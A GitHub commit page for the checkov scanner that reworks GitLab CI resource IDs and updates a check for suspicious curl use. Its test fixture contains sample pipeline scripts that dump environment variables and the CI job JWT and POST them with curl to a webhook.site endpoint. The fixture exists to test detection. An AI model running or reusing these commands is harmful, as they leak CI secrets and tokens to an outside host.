Skip to content

Commit

Permalink
fix(gitlab): Modify gitlab ci resource id (#3706)
Browse files Browse the repository at this point in the history
* fixing check_ids & resource ids for gitlab ci

* adding tests & fixes in resource ids

* fixing ids & tests

* remove commented code

* fix typing

* lint

* typing

* fix tests

* mypy

* mypy

* review changes

* review changes

Co-authored-by: Eliran Turgeman <[email protected]>
  • Loading branch information
Eliran-Turgeman and Eliran Turgeman authored Oct 24, 2022
1 parent 4ce0731 commit b87bdc3
Show file tree
Hide file tree
Showing 13 changed files with 405 additions and 79 deletions.
1 change: 1 addition & 0 deletions checkov/common/checks/base_check_registry.py
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@ def __init__(self, report_type: str) -> None:
self.wildcard_checks: Dict[str, List[BaseCheck]] = defaultdict(list)
self.check_id_allowlist: Optional[List[str]] = None
self.report_type = report_type
self.definitions_raw: list[tuple[int, str]] | None = None

def register(self, check: BaseCheck) -> None:
# IMPLEMENTATION NOTE: Checks are registered when the script is loaded
Expand Down
3 changes: 3 additions & 0 deletions checkov/common/runners/object_runner.py
Original file line number Diff line number Diff line change
Expand Up @@ -105,6 +105,9 @@ def run(
for file_path in self.definitions.keys():
self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(file_path, root_folder)})
skipped_checks = collect_suppressions_for_context(self.definitions_raw[file_path])

if registry.report_type == CheckType.GITLAB_CI:
registry.definitions_raw = self.definitions_raw[file_path]
results = registry.scan(file_path, self.definitions[file_path], skipped_checks, runner_filter) # type:ignore[arg-type] # this is overridden in the subclass
for key, result in results.items():
result_config = result["results_configuration"]
Expand Down
15 changes: 7 additions & 8 deletions checkov/gitlab_ci/checks/job/SuspectCurlInScript.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
from __future__ import annotations

from typing import Any
from checkov.common.models.enums import CheckResult

from checkov.gitlab_ci.checks.base_gitlab_ci_check import BaseGitlabCICheck
Expand All @@ -17,13 +17,12 @@ def __init__(self) -> None:
supported_entities=('*.script[]',)
)

def scan_conf(self, conf: str) -> tuple[CheckResult, str]: # type:ignore[override]
if "curl" in conf:
badstuff = ('curl', '$CI_')
lines = conf.split("\n")
for line in lines:
if all(x in line for x in badstuff):
return CheckResult.FAILED, conf
def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:
for line in conf.values():
if not isinstance(line, str):
continue
if line.startswith("curl") and "$CI" in line:
return CheckResult.FAILED, conf
return CheckResult.PASSED, conf


Expand Down
21 changes: 21 additions & 0 deletions checkov/gitlab_ci/common/resource_id_utils.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
from __future__ import annotations
from typing import Any

from checkov.common.util.consts import START_LINE, END_LINE


def generate_resource_key_recursive(conf: dict[str, Any] | list[str] | str, key: str, start_line: int,
end_line: int) -> str:
if not isinstance(conf, dict):
return key

for k, value in conf.items():
if isinstance(value, dict) and value[START_LINE] <= start_line <= end_line <= value[END_LINE]:
next_key = f'{key}.{k}' if key else k
return generate_resource_key_recursive(value, next_key, start_line, end_line)
if isinstance(value, list):
return f'{key}.{k}' if key else k
if isinstance(value, str):
return key

return key
8 changes: 8 additions & 0 deletions checkov/gitlab_ci/image_referencer/provider.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
from typing import Any

from checkov.common.images.image_referencer import Image
from checkov.gitlab_ci.common.resource_id_utils import generate_resource_key_recursive


class GitlabCiProvider:
Expand Down Expand Up @@ -43,6 +44,10 @@ def extract_images_from_workflow(self) -> list[Image]:
name=image_name,
start_line=start_line,
end_line=end_line,
related_resource_id=generate_resource_key_recursive(conf=self.workflow_config,
key='',
start_line=start_line,
end_line=end_line)
)
images.append(image_obj)
image_name = ""
Expand All @@ -52,6 +57,9 @@ def extract_images_from_workflow(self) -> list[Image]:
name=image_name,
start_line=start_line,
end_line=end_line,
related_resource_id=generate_resource_key_recursive(conf=self.workflow_config,
key='', start_line=start_line,
end_line=end_line)
)
images.append(image_obj)
return images
21 changes: 21 additions & 0 deletions checkov/gitlab_ci/runner.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
from typing import TYPE_CHECKING, Any

from checkov.common.output.report import Report
from checkov.common.util.type_forcers import force_dict
from checkov.gitlab_ci.common.resource_id_utils import generate_resource_key_recursive

from checkov.runner_filter import RunnerFilter

Expand Down Expand Up @@ -45,6 +47,15 @@ def is_workflow_file(self, file_path: str) -> bool:
def included_paths(self) -> Iterable[str]:
return (".gitlab-ci.yml", ".gitlab-ci.yaml")

def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str], definitions: dict[str, Any] | None = None) -> str:
start_line, end_line = Runner.get_start_and_end_lines(key)
file_config = force_dict(self.definitions[file_path])
if not file_config:
return key
resource_id: str = generate_resource_key_recursive(conf=file_config, key='', start_line=start_line,
end_line=end_line)
return resource_id

def run(
self,
root_folder: str | None = None,
Expand Down Expand Up @@ -91,3 +102,13 @@ def extract_images(
images.extend(manager.extract_images_from_workflow())

return images

@staticmethod
def get_start_and_end_lines(key: str) -> list[int]:
check_name = key.split('.')[-1]
if "[" not in check_name or "[]" in check_name:
return [-1, -1]

start_end_line_bracket_index = check_name.index('[')

return [int(x) for x in check_name[start_end_line_bracket_index + 1: len(check_name) - 1].split(':')]
31 changes: 31 additions & 0 deletions checkov/yaml_doc/base_registry.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,8 @@ def _scan_yaml_array(
)
if isinstance(analyzed_entities, list):
for item in analyzed_entities:
if isinstance(item, str):
item = self.set_lines_for_item(item)
if STARTLINE_MARK != item and ENDLINE_MARK != item:
self.update_result(
check,
Expand Down Expand Up @@ -253,3 +255,32 @@ def get_result_key(self, check: BaseCheck,
def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]:
# not used, but is an abstractmethod
pass

def set_lines_for_item(self, item: str) -> dict[int | str, str | int] | str:
if not self.definitions_raw:
return item

item_lines = item.rstrip().split("\n")
item_dict: dict[int | str, str | int] = {
idx: line for idx, line in enumerate(item_lines)
}

if len(item_lines) == 1:
item_line = item_lines[0]
for idx, line in self.definitions_raw:
if item_line in line:
item_dict[STARTLINE_MARK] = idx
item_dict[ENDLINE_MARK] = idx
return item_dict

first_line, last_line = item_lines[0], item_lines[-1]
for idx, line in self.definitions_raw:
if first_line in line:
item_dict[STARTLINE_MARK] = idx
continue

if last_line in line:
item_dict[ENDLINE_MARK] = idx
break

return item_dict
168 changes: 168 additions & 0 deletions tests/gitlab_ci/conftest.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,168 @@
from __future__ import annotations
from typing import Any

import pytest


@pytest.fixture
def definitions() -> dict[str, Any]:
return {
"/checkov/tests/gitlab_ci/resources/images/.gitlab-ci.yml": {
"default": {
"image": "nginx:1.18",
"services": [
{
"name": "privateregistry/stuff/my-postgres:11.7",
"alias": "db-postgres",
"__startline__": 9,
"__endline__": 11
},
{
"name": "redis:latest",
"__startline__": 11,
"__endline__": 12
},
"nginx:1.17"
],
"before_script": [
"bundle install"
],
"__startline__": 2,
"__endline__": 17
},
"test": {
"script": [
"docker run privateregistry/stuff/myimage:11.7"
],
"__startline__": 18,
"__endline__": 21
},
"baddeploy": {
"script": [
"echo \"get the envs\"\napt update\napt -y install curl\npython -c \u0027import json, os;print(json.dumps(dict(os.environ)))\u0027 \u003e env.json\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"@env.json\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n"
],
"__startline__": 22,
"__endline__": 32
},
"__startline__": 1,
"__endline__": 32
},
"/checkov/tests/gitlab_ci/resources/curl/.gitlab-ci.yml": {
"image": "python:3.9-buster",
"test": {
"script": [
"echo \"get the envs\"\napt update\napt -y install curl\npython -c \u0027import json, os;print(json.dumps(dict(os.environ)))\u0027 \u003e env.json\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"@env.json\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n"
],
"__startline__": 4,
"__endline__": 12
},
"deploy": {
"script": "curl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826",
"__startline__": 13,
"__endline__": 13
},
"__startline__": 1,
"__endline__": 13
},
"/checkov/tests/gitlab_ci/resources/two/.gitlab-ci.yml": {
"planOnlySubset": {
"script": "echo \"This job creates double pipelines!\"",
"rules": [
{
"changes": [
"$DOCKERFILES_DIR/*"
],
"__startline__": 4,
"__endline__": 6
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"",
"__startline__": 6,
"__endline__": 7
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"",
"__startline__": 7,
"__endline__": 9
}
],
"__startline__": 2,
"__endline__": 9
},
"job": {
"script": "echo \"This job also creates double pipelines!\"",
"rules": [
{
"changes": [
"$DOCKERFILES_DIR/*"
],
"__startline__": 12,
"__endline__": 14
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"",
"__startline__": 14,
"__endline__": 15
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"",
"__startline__": 15,
"__endline__": 16
}
],
"__startline__": 10,
"__endline__": 16
},
"__startline__": 1,
"__endline__": 16
},
"/checkov/tests/gitlab_ci/resources/rules/.gitlab-ci.yml": {
"job": {
"script": "echo \"This job creates double pipelines!\"",
"rules": [
{
"changes": [
"$DOCKERFILES_DIR/*"
],
"__startline__": 4,
"__endline__": 6
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"",
"__startline__": 6,
"__endline__": 7
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"",
"__startline__": 7,
"__endline__": 9
}
],
"__startline__": 2,
"__endline__": 9
},
"__startline__": 1,
"__endline__": 9
},
"/checkov/tests/gitlab_ci/image_referencer/resources/single_image/.gitlab-ci.yml": {
"default": {
"image": {
"name": "redis:latest",
"entrypoint": [
"/bin/bash"
],
"__startline__": 3,
"__endline__": 6
},
"__startline__": 2,
"__endline__": 6
},
"deploy": {
"script": "curl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826",
"__startline__": 7,
"__endline__": 7
},
"__startline__": 1,
"__endline__": 7
}
}
Loading

0 comments on commit b87bdc3

Please sign in to comment.